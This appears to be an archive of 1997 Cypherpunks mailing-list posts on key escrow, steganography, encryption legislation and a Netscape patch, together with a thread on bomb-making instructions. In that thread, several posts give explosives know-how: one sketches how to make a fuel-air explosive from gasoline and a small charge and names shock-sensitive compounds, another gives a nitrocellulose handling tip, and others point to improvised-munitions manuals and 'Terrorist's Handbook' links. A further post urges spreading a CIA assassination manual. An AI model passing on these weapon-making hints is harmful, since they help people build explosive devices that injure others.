At 9:16 PM -0700 6/27/97, Igor Chudov @ home wrote:
>Huge Cajones Remailer wrote:
>> Paul Bradley wrote:
>> > I personally know no chemistry at all, but what would be nice is if
>> > someone who knows what they are doing wrote an "anarchists cookbook" type
>> > set of files, but this time got them right so anyone attempting any of
>> > the recipes wouldn`t be killed.
>
>Paul,
>
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.
>
>I agree with you though that certain recipes and chemicals are unsafe
>no matter how carefully to handle them.

Ironically, safety instructions for making bombs would almost certainly be
lumped in with the actual formulas for explosives. (Actually, as the safe
and proper handling is more critical to successful bomb-making than the
mere mixture of chemicals, this is a certainty.)

And, as usual, the law will probably end up being applied to people
innocent of criminal intent.

And the _real_ bombers will continue to learn their trade at training camps
in the deserts of Sudan and Iraq, and, of course, in the various militaries.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 29 Jun 1997 00:51:04 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:16 PM 6/27/97 -0500, Igor Chudov @ home wrote:
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.

I would urge anyone interested in explosives, but unfamiliar with them, to
first read the following books before attempting any recipes out of the
"Anarchist's Cookbook" and similar publications. Your
extremities/eyes/health will thank you.

TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
Techniques: Incendiaries"

Both paperbacks can be purchased at any gun show for about $5 each.

You also should take a look at the
"ATF - Explosives Law and Regulation" aka "The Orange Book".

It is available for free at any ATF field office. No, they won't ask for
ID. In fact, they couldn't care less who comes by to pick up a copy.

Be safe,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 29 Jun 1997 00:57:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Sources for stego images
In-Reply-To: <v03102804afd38b324730@[10.0.2.15]>
Message-ID: <19970628094834.37563@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 23, 1997 at 11:38:25PM -0700, Bill Stewart wrote:
> >> >That's the major problem with images, you need to generate your own.
> >> >Unless you fancy writing an image enhancement system, and analyse the
> >> >algorithms in existing systems to ensure that randomness is
> >> >introduced.
> ..
> >Or, set up your own webcam "to watch your coffee pot twice a minute" or
> >something. Merge the crypto stream through the gifs after tweaking the
> >brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
> >of 254/255 values gets suspicious, and is not from thermal noise - a
> >"problem" with monochrome quickcams for night photography).
> 
> Pictures like coffee pots are likely to have parts that change
> (e.g. the state of the coffee pot) and parts that don't change 
> (e.g. the part of the wall that isn't blocked by the pot.)
> This means that it's easy to tell which bits are being messed with,
> if somebody's watching successive pictures.  If the digitization's
> random enough in the low bits, it's a bit better, but a picture of
> something moving helps.  Oceans and fog are great....

Sources of pictures aren't really the problem, though -- it's
developing the widespread habit of people sending references to
pictures along with their email.  For example, if the "cool thing to
do" was to note a link to a favorite photo in your sig (as I have
done, below), then people who were interested in communicating
privately could build up a significant cache of shared pictures.  Code
to automatically compare pictures with the previous version, and
decrypt the embedded messages is no big deal -- the big deal is 
getting people to habitually include links to pictures -- or sound 
files, or whatever...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html
Picture of the day: http://songbird.com/pix/photos/gc8.jpg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FMart62512@aol.com
Date: Sat, 28 Jun 1997 22:16:39 +0800
To: cypherpunks@toad.com
Subject: newsletter
Message-ID: <970628095216_-1528509405@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



is there a mailing list i can be put on? if so pleae do





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 29 Jun 1997 01:14:37 +0800
To: cypherpunks@Algebra.COM
Subject: CIA's Manual on Assassination Politics
In-Reply-To: <199706280416.XAA04026@manifold.algebra.com>
Message-ID: <v03102807afdaf4009156@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:44 AM -0700 6/28/97, Lucky Green wrote:

>I would urge anyone interested in explosives, but unfamiliar with them, to
>first read the following books before attempting any recipes out of the
>"Anarchist's Cookbook" and similar publications. Your
>extremities/eyes/health will thank you.
>
>TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
>TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
>Techniques: Incendiaries"

Likewise, anyone interested in Assassination Politics should get ahold of
the CIA's training manual for assassins and covert operatives. This manual
was used extensively in training locals in Nicaragua to kill members of the
democratically elected government in Nicaragua. (And Diem, and Lumumba, and
Guevara, and on and on.)

Interestingly, when a Pakistani (or maybe Afghani) native practiced AP on
some CIA agents at the front gate of the Langley facility, the CIA then
spent $5 million tracking him down, even paying $2-3 M in finders fees.

>Both paperbacks can be purchased at any gun show for about $5 each.
>

>It is available for free at any ATF field office. No, they won't ask for
>ID. In fact, they couldn't care less who comes by to pick up a copy.
>

Though I rather suspect finding the CIA's domestic field offices might be
tough, so asking for a copy of the CIA's manual on assassination would be
problematic. Too bad nobody has bothered yet to scan and OCR it and put it
on the Web. Now _that_ would be a blow!

Foreign offices of the CIA might be easier to locate. Just walk up to any
embassy gate and ask to speak to the Cultural Attache.

(And various CIA and DIA agents in various countries have their names
published in the opposition press, the same kinds of press that Germany and
other neo-fascist regimes are shutting down, a al Radikal and Integral and
whatnot.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 29 Jun 1997 01:21:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <v03020929afd325266f9d@[139.167.130.247]>
Message-ID: <19970628101134.52512@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 24, 1997 at 01:45:35PM -0400, tzeruch@ceddec.com wrote:
[...]
> > ... why wouldn't escrow work ...
> 
> Because the government could retroactively reverse transactions.  Currency
> is only as good as far as it is trusted.  Would you accept a transaction
> that if the government opened the crypto, and found that the person that
> sent you the cash was a drug dealer, which meant that all your finances
> are thus contaminated with "drug money", and that they would not only
> seize the transaction, but all other money?  I think not. 

So how is that different than the current situation without 
cryptography?  If people couldn't live with key escrow, how can they 
live with the current situation?  Answer:  they live with the current 
situation because the government abuses you describe are kept below 
the revolution threshold.  The same would be the case with key escrow.

> The goverment could also open the note and spend it before you did (for
> things like back taxes).  Assuming it is not a janitor working in the
> building housing the escrow computer who is doing it.
> 
> In effect, key escrow applied to electronic cash is a lein against every
> note that can be executed without your knowledge or consent.

But so what? Right now the government has intimate knowledge of your
finances through tax records and other sources, and has the power to
put liens on your property and your cash for all kinds of reasons.  
And indeed, all too frequently it gets out of control.  But the 
bottom line is that business in the US continues to function.  It 
would continue to function with key escrow, as well.

> There are technical solutions and problems which I can go into further. 
> But, briefly, the goverment will want to track all sides, and anything
> will require huge computer resources to store the escrowed keys.  

Assuming certain models of key escrow, yes.  Under other models, no.  
But imagine the worst case -- GAK creates a huge unwieldy expensive 
computerized infrastructure and associated bureacracy.  What 
happens?  Businesses find other ways to protect their data and 
transactions, huge economic inefficiencies develop, and the whole 
thing collapses and goes away.

It's amazing how little faith libertarians have in the market system,
isn't it?  :-)

Or another scenario:  A janitors at a Government Key Escrow Center is 
caught making billions illegally.  An outcry in Congress, laws are 
repealed, new laws are passed, etc etc etc.  If the system works 
badly it will fail.

[...]

> If the government can declare "authentic" currency to have no value
> (especially retroactively), the same rule applies, which is why key escrow
> is equally damaging. 

Governments have devalued currencies many many times in the past
without the need of key escrow...key escrow is an independent issue. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sun, 29 Jun 1997 01:38:18 +0800
To: tcmay@got.net
Subject: Re: Bomb-making instructions....
In-Reply-To: <v03102806afdaeae96ec5@[207.167.93.63]>
Message-ID: <199706281724.KAA09438@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:


> Ironically, safety instructions for making bombs would almost certainly be
> lumped in with the actual formulas for explosives. (Actually, as the safe
> and proper handling is more critical to successful bomb-making than the
> mere mixture of chemicals, this is a certainty.)

Yes.  Instructions like "Do not drop bomb" and "run away after you
light the fuse" are enabling technologies which allow terrorists to
ply their trade.  By banning all safety instructions related to 
explosives, we will save American lives and make the world safe
for our children.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 29 Jun 1997 02:07:31 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: CIA's Manual on Assassination Politics
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970628110214.039d4504@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 AM 6/28/97 -0700, Tim May wrote:
>Likewise, anyone interested in Assassination Politics should get ahold of
>the CIA's training manual for assassins and covert operatives. 
[...]

Until that manual becomes available, the reader may wish to take a look at:

"Intelligence Tactics, Techniques and Procedures (TTP) for Operations Other
Than War (OOTW)"
G2/S2
82nd Airborne Division
Guidelines and Lessons Learned

About $7 at the gun show.

>(And various CIA and DIA agents in various countries have their names
>published in the opposition press, the same kinds of press that Germany and
>other neo-fascist regimes are shutting down, a al Radikal and Integral and
>whatnot.)

In Europe, shit has long hit the fan. The member of the German parliament
under indictment for linking to the Radikal webpage is now also being
prosecuted for making the charges against her public. Seems it is illegal
in Germany to publicize any federal charges filed against you. The Geheime
[Secret, ed.] Staats Polizei roams the German streets again. Truly scary
stuff. And, yes, it can happen here.

[The defendant has a facsimile of the official court document on her
webpage. Guess that's going to be another count].


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 29 Jun 1997 02:18:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <v03020929afd325266f9d@[139.167.130.247]>
Message-ID: <v03102808afdafebb16c7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:11 AM -0700 6/28/97, Kent Crispin wrote:

>So how is that different than the current situation without
>cryptography?  If people couldn't live with key escrow, how can they
>live with the current situation?  Answer:  they live with the current
>situation because the government abuses you describe are kept below
>the revolution threshold.  The same would be the case with key escrow.

Not intending to squelch the thread by invocation of Godwin's Law, but how
does Nazi Germany fit into this model?

In case this isn't clear, the concern is that a GAK system is very
dangerous should a Nazi-like regime develop (or even should a J. Edgar
Hoover and/or Craig Livingstone regime develop). While regimes  of the past
few decades _may_ not be abusive in this way (apologies to Reagan, Bush,
and Clinton haters out there), the deployment of GAK would be a tempting
target for future despots and satraps.

Thanks, but I'll keep my own records, my own crypto keys, and my own money.

...

>But so what? Right now the government has intimate knowledge of your
>finances through tax records and other sources, and has the power to
>put liens on your property and your cash for all kinds of reasons.

This overstates the knowledge the government has of our finances. Much as I
oppose the IRS in so many ways, they are basically clueless about a whole
raft of transactions. The tax laws stipulate that incomes be reported, but
not what money is spent for, not to whom monies are paid (unless one is an
employer or a few other described situations), etc.

As to the future, I agree that there will be more consolidation and
cross-linking of data bases--including some the IRS has no _statutory_
access to (e.g., credit reporting , databases, absent a court order, though
apparently the CRAs are malleable).

By combining tax records, bank records, local property tax records, credit
card records, travel records (airlines, etc.), and so on, a much more
complete "citizen-unit tracking" data base can be built. This is something
most of us are fighting, in various ways, not something we should accept as
par for the course when contemplating GAK.

My view on GAK is quite simple: let those who wish to escrow their keys do
so. Let those who don't wish to keep their own keys and use crypto
algorithms of any strength they desire.


>Assuming certain models of key escrow, yes.  Under other models, no.
>But imagine the worst case -- GAK creates a huge unwieldy expensive
>computerized infrastructure and associated bureacracy.  What
>happens?  Businesses find other ways to protect their data and
>transactions, huge economic inefficiencies develop, and the whole
>thing collapses and goes away.
>
>It's amazing how little faith libertarians have in the market system,
>isn't it?  :-)

A cheap shot, even taking into account Kent Crispin's shilling for GAK.

If a key escrow system is in fact purely voluntary, who cares? I, for one,
don't.

(Though I often look at "voluntary" systems with an eye toward what I call
the "flag day scenario," where a legislative or executive-level "switch" is
thrown and what was once voluntary becomes mandatory. I oppose government
involvement in infrastructures which could too easily become mandatory.)

As various business groups have been reporting (check the archives for many
such mentions), there may be various needs for forms of "key deposit" and
"key recovery," and corporations often already have them. Typically they
involve data warehousing, keys deposited with company lawyers, etc. Many of
us keep written descriptions of our cryptographic keys/passphrases in safe
deposit boxes, or in sealed envelopes left in the care of friends or
family. This is partly to protect against the "I forgot my passphrase"
scenario, partly to allow reconstruction of files under various dire
circumstances, etc.

But these business groups have said clearly they don't want Big Brother
holding a master key to their communications and files!

And, as nearly all of us (_nearly_ all of us!) have pointed out,
repeatedly, whatever the putative need for key recovery is within
corporations, there is essentially no need for such a thing for
*communications*! The only viable customer for a communications key is
someone who has intercepted the communication!

Neither the sender, who has the files on his local disk, possibly
cryptographically protected under a key that the corporation wants a key
recovery program for, nor the receiver, who has the plaintext, or who
stores the received file in the same way, are customers for a GAK system
that involves the communications channel.

So, will government please drop all consideration of "key recovery" for
_communications_?

(I rather doubt this.)

>Governments have devalued currencies many many times in the past
>without the need of key escrow...key escrow is an independent issue.

Sure, but one of the potential advantages of strong crypto is the
oft-discussed "denationalization of money." Leading bankers are beginning
to see the light on this.

(See, for example, the cover story in "Wired" several months ago, where the
blurb was about Walter Wriston "sounding like a cypherpunk.")

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 29 Jun 1997 02:23:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CIA's Manual on Assassination Politics
In-Reply-To: <v03102807afdaf4009156@[207.167.93.63]>
Message-ID: <v03102809afdb0578ac05@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:02 AM -0700 6/28/97, Lucky Green wrote:

>In Europe, shit has long hit the fan. The member of the German parliament
>under indictment for linking to the Radikal webpage is now also being
>prosecuted for making the charges against her public. Seems it is illegal
>in Germany to publicize any federal charges filed against you. The Geheime
>[Secret, ed.] Staats Polizei roams the German streets again. Truly scary
>stuff. And, yes, it can happen here.
>
>[The defendant has a facsimile of the official court document on her
>webpage. Guess that's going to be another count].

"But if it saves the life of just one child!!!"

We are trading away our liberty for bullshit assurances of safety,
security, and protection from the Big Bad Wolf. (*)

The Founders had it right when they talked about those trading freedom for
security and safety deserving neither.

--Tim May

(* And of course the restrictions on publications of various items are
really designed to protect Those in Power; thus has it always been, thus
shall it always be.)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sun, 29 Jun 1997 00:50:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: More about Netscape Bug finder
In-Reply-To: <v030209a4afcb8c31bbc6@[139.167.130.246]>
Message-ID: <3.0.2.32.19970628124035.006c39ac@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 03:32 PM 6/28/97 GMT, Brian Lane wrote:
>
>On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:
>
>>An Email Trail from Bug Spotter to
>>           Netscape
>>           6:01pm  13.Jun.97.PDT The following is a copy of the
>>           email exchange between Netscape officials and
>
>[rest snipped]
>
>  Notice that none of this exchange is signed in any way. I don't
>doubt Netscape's claim as to what happened, but really this is just a
>bunch of letters assembled in the right order. There's no reason to
>trust the contents.


This reminded me to ask if anyone knows if, per their statement, Netscape
intends to u/l a patch for the 3.x versions.  When I checked yesterday, I
didn't see any reference to it.

*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 29 Jun 1997 01:08:29 +0800
To: CrShNDy@aol.com
Subject: Re: mailing list
In-Reply-To: <970628033152_-2097406877@emout16.mail.aol.com>
Message-ID: <Pine.GSO.3.95.970628125717.1880A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



No. Never.

-Declan

On Sat, 28 Jun 1997 CrShNDy@aol.com wrote:

> I want on the mailing list please
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 29 Jun 1997 04:55:57 +0800
To: Lucky Green <ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706280416.XAA04026@manifold.algebra.com>
Message-ID: <v03102804afdb0be67158@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:44 AM -0700 6/28/97, Lucky Green wrote:
>I would urge anyone interested in explosives, but unfamiliar with them, to
>first read the following books before attempting any recipes out of the
>"Anarchist's Cookbook" and similar publications. Your
>extremities/eyes/health will thank you.
>
>TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
>TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
>Techniques: Incendiaries"

See http://www.deltech.net/members/sniper/anarchy/hbook/Blkbook.txt

or http://phoenix.phreebyrd.com/~nero/tth/thb_title.html for a good copy of
The Terrorist's Handbook.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 29 Jun 1997 01:54:06 +0800
To: cypherpunks@ssz.com
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <0nhIq3200YUf03JXo0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> At 11:16 PM 6/27/97 -0500, Igor Chudov @ home wrote:
> >Making explosives is very dangerous even if the recipes are right. I
> >personally knew many kids who lost fingers, eyes and other body organs
> >due to careless handling of homemade explosives. Probably, the important
> >thing to do before bombmaking is to learn the safety rules.
> 
> I would urge anyone interested in explosives, but unfamiliar with them, to
> first read the following books before attempting any recipes out of the
> "Anarchist's Cookbook" and similar publications. Your
> extremities/eyes/health will thank you.

Just for the record, _The Anarchist's Cookbook_ is full of
purposefully dangerous misinformation. It is written so that if you
follow enough of its recipies, you *will* kill yourself. I suggest old
archives or the newsgroup rec.pyrotechnics, which, until is self-
censored itself, provided excellent safety advice as well as how to
make things go boom. I'd imagine that there is still a wealth of
information about safety.

BTW, when making nitrocellulose, ice baths are your friends, cold
water will just not do. 

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 29 Jun 1997 04:59:19 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <v03102800afdb06602502@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:16 PM -0500 6/27/97, Igor Chudov @ home wrote:
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.
>
>I agree with you though that certain recipes and chemicals are unsafe
>no matter how carefully to handle them.

Especially chlorates, perchlorates, fulminates and azides.

You want something which isn't shock sensitive.

If someone is going to write such a book it should include good
instructions for fuel-air explosives.  These can be little more than a
container of gasoline atop a small hig-explosive charge to atomisze,
disperse and ignite the fuel.  They can produce incredible pressure waves
from relatively small amounts of material.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 06:39:34 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
Message-ID: <199706282214.PAA09700@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Why the fuck are there so many requests from aol ?
thats eerie if you ask me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sat, 28 Jun 1997 23:38:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: More about Netscape Bug finder
In-Reply-To: <v030209a4afcb8c31bbc6@[139.167.130.246]>
Message-ID: <33b82e1e.39281810@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:

>An Email Trail from Bug Spotter to
>           Netscape
>           6:01pm  13.Jun.97.PDT The following is a copy of the
>           email exchange between Netscape officials and

[rest snipped]

  Notice that none of this exchange is signed in any way. I don't
doubt Netscape's claim as to what happened, but really this is just a
bunch of letters assembled in the right order. There's no reason to
trust the contents.

  Brian


----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
-----------  1024/57B17CA9 96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  -------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sun, 29 Jun 1997 06:47:08 +0800
To: cypherpunks@Algebra.COM
Subject: details of 6/26 action on HR 695??
Message-ID: <3.0.32.19970628122120.0068d2f8@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello Washington watchers - 
Hey, what are the **details** ?
Are these the same amendments from before, or new ones?




Congressional Record: June 26, 1997 (House)]
[Page H4834]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
[DOCID:cr26jn97-74]



 
                  REPORTED BILL SEQUENTIALLY REFERRED

  Under clause 5 of rule X, the following action was taken by the 
Speaker:

       H.R. 695. A bill to amend title 18, United States Code, to 
     affirm the rights of U.S. persons to use and sell encryption 
     and to relax export controls on encryption; with an 
     amendment; referred to the Committees on Commerce, National 
     Security, and the Permanent Select Committee on intelligence 
     for a period ending not later than September 5, 1997, for 
     consideration of such provisions of the bill and amendment 
     reported by the Committee on the Judiciary as fall within the 
     jurisdiction of those committees pursuant to clause 1(e) and 
     (k), rule X and rule XLVIII, respectively.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sat, 28 Jun 1997 23:50:31 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <Pine.LNX.3.91.970619094828.559E-100000@fatmans.demon.co.uk>
Message-ID: <33b93059.39852907@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 19 Jun 1997 09:53:23 +0000 (   ), you wrote:

>> C2Net is the leading worldwide provider of uncompromised Internet
>> security software. C2Net's encryption products are developed
entirely
>> outside the United States, allowing the firm to offer full-strength
>> cryptography solutions for international communications and
>> commerce. 
>
>C2Net also censor all dissenters over the security of their products,
try 
>it if you want to prove my point, just post a message to a security
forum 
>questioning the security of stronghold.
>

  It seems to me that we now have to take all posts from sameer with a
large grain of salt. Now that he has a vested interest in a security
product all of his posts are just Marketing Propaganda and over
statment. This is wrong when either side of the issue does it (ie. the
claim that strong crypto will only be useful to terrorists rhetoric).

  Personally I'd like to see these posts dissapear from the mailing
list. But of course that is just my own opinion.

  Brian

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7UxGKQxGtxXsXypAQH2mwP+NGazOXSiLf0TZsXQ9FvgVx8WScK0YL2V
wCN/EgNxXmqY1kDZa0bLSOL99whjH2CyLyoUB2Hdikx1ZGVi0qBXPIBzYEkbRgDU
CTyhVZ+2B/PqbLtOPIxhP8O7w06gC5hiIeCh2ghSOFZskqdTYAwUMs2+8jTxf09Z
76x3QLW2fw0=
=Vuye
-----END PGP SIGNATURE-----

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
-----------  1024/57B17CA9 96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  -------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 29 Jun 1997 07:03:14 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: More about Netscape Bug finder
In-Reply-To: <v030209a4afcb8c31bbc6@[139.167.130.246]>
Message-ID: <33B596B0.A6349B29@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynne L. Harrison wrote:
> 
> At 03:32 PM 6/28/97 GMT, Brian Lane wrote:
> >
> >On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:
> >
> >>An Email Trail from Bug Spotter to
> >>           Netscape
> >>           6:01pm  13.Jun.97.PDT The following is a copy of the
> >>           email exchange between Netscape officials and
> >
> >[rest snipped]
> >
> >  Notice that none of this exchange is signed in any way. I don't
> >doubt Netscape's claim as to what happened, but really this is just a
> >bunch of letters assembled in the right order. There's no reason to
> >trust the contents.
> 
> This reminded me to ask if anyone knows if, per their statement,
> Netscape intends to u/l a patch for the 3.x versions.  When I checked
> yesterday, I didn't see any reference to it.

Yes, we're working on a patch for 3.x.  It's somewhat harder to do than
patching 4.0 because we weren't set up to build 3.x anymore.  For some
of the weirder Unix platforms we had to reinstall older versions of
compilers and OSes.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 29 Jun 1997 07:28:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v0310280eafd9cb27d087@[207.167.93.63]>
Message-ID: <3.0.2.32.19970628161719.0311b334@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:20 PM 6/27/97 -0700, Alan wrote:
>I expect it will be extended further on down the line.  "Hold on a for a
>few minutes.  We seem to be having some problem with your records check."
>Meanwhile, the local/state/federal/illuminati are on their way to
